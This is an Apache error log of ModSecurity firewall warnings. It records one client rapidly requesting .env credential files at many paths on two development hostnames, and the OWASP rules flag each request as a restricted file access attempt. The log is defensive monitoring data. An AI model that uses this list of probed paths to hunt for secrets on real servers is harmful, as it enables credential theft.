[Fri Jul 17 09:14:10.421190 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almlCoe39YUk0SgV8AU9JQAAABE"]
[Fri Jul 17 09:14:10.530175 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/frontend/.env"] [unique_id "almlClh1WDijTxd1xw5PZAAAAAc"]
[Fri Jul 17 09:14:10.530446 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/frontend/.env"] [unique_id "almlClh1WDijTxd1xw5PZAAAAAc"]
[Fri Jul 17 09:14:10.530784 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlClh1WDijTxd1xw5PZAAAAAc"]
[Fri Jul 17 09:14:10.654948 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlCoe39YUk0SgV8AU9JQAAABE"]
[Fri Jul 17 09:14:10.701012 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/src/.env"] [unique_id "almlCq14q1EBnanVMYGm6wAAAAk"]
[Fri Jul 17 09:14:10.701281 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/src/.env"] [unique_id "almlCq14q1EBnanVMYGm6wAAAAk"]
[Fri Jul 17 09:14:10.701563 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCq14q1EBnanVMYGm6wAAAAk"]
[Fri Jul 17 09:14:10.753516 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:10.825649 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almlCg5GPQ6hs4VrfMpE2gAAAAY"]
[Fri Jul 17 09:14:10.826930 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almlCg5GPQ6hs4VrfMpE2gAAAAY"]
[Fri Jul 17 09:14:10.870551 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/core/.env"] [unique_id "almlCvwooI4qY7Jg93pYhgAAABM"]
[Fri Jul 17 09:14:10.870819 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/core/.env"] [unique_id "almlCvwooI4qY7Jg93pYhgAAABM"]
[Fri Jul 17 09:14:10.871078 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCvwooI4qY7Jg93pYhgAAABM"]
[Fri Jul 17 09:14:10.928533 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:11.044534 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlCg5GPQ6hs4VrfMpE2gAAAAY"]
[Fri Jul 17 09:14:11.047905 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/core/app/.env"] [unique_id "almlC7EKozcCJ-ReuK0F2gAAAAg"]
[Fri Jul 17 09:14:11.048193 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/core/app/.env"] [unique_id "almlC7EKozcCJ-ReuK0F2gAAAAg"]
[Fri Jul 17 09:14:11.048506 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlC7EKozcCJ-ReuK0F2gAAAAg"]
[Fri Jul 17 09:14:11.067847 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:11.091739 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:54786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:11.214032 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almlC4e39YUk0SgV8AU9JgAAABE"]
[Fri Jul 17 09:14:11.215751 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almlC4e39YUk0SgV8AU9JgAAABE"]
[Fri Jul 17 09:14:11.218254 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/config/.env"] [unique_id "almlC614q1EBnanVMYGm7AAAAAk"]
[Fri Jul 17 09:14:11.218524 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/config/.env"] [unique_id "almlC614q1EBnanVMYGm7AAAAAk"]
[Fri Jul 17 09:14:11.218792 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlC614q1EBnanVMYGm7AAAAAk"]
[Fri Jul 17 09:14:11.385935 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/private/.env"] [unique_id "almlC_wooI4qY7Jg93pYhwAAABM"]
[Fri Jul 17 09:14:11.386214 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/private/.env"] [unique_id "almlC_wooI4qY7Jg93pYhwAAABM"]
[Fri Jul 17 09:14:11.386442 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlC_wooI4qY7Jg93pYhwAAABM"]
[Fri Jul 17 09:14:11.447429 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlC4e39YUk0SgV8AU9JgAAABE"]
[Fri Jul 17 09:14:11.557250 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/application/.env"] [unique_id "almlCwRRrtuZqNDDSqWzIwAAABo"]
[Fri Jul 17 09:14:11.557542 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/application/.env"] [unique_id "almlCwRRrtuZqNDDSqWzIwAAABo"]
[Fri Jul 17 09:14:11.557836 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCwRRrtuZqNDDSqWzIwAAABo"]
[Fri Jul 17 09:14:11.628458 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almlC0gVnBK6wAv37w6vmwAAABQ"]
[Fri Jul 17 09:14:11.629681 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almlC0gVnBK6wAv37w6vmwAAABQ"]
[Fri Jul 17 09:14:11.686660 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:11.735980 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/bootstrap/.env"] [unique_id "almlCyRF0UOO1RzB5_8xMQAAAA4"]
[Fri Jul 17 09:14:11.736352 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/bootstrap/.env"] [unique_id "almlCyRF0UOO1RzB5_8xMQAAAA4"]
[Fri Jul 17 09:14:11.736710 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlCyRF0UOO1RzB5_8xMQAAAA4"]
[Fri Jul 17 09:14:11.845731 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlC0gVnBK6wAv37w6vmwAAABQ"]
[Fri Jul 17 09:14:11.904143 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/database/.env"] [unique_id "almlC5BVIrrUwtEhdafT_QAAAAU"]
[Fri Jul 17 09:14:11.904397 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/database/.env"] [unique_id "almlC5BVIrrUwtEhdafT_QAAAAU"]
[Fri Jul 17 09:14:11.904654 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlC5BVIrrUwtEhdafT_QAAAAU"]
[Fri Jul 17 09:14:11.996393 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:12.014365 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.development"] [unique_id "almlDPwooI4qY7Jg93pYiAAAABM"]
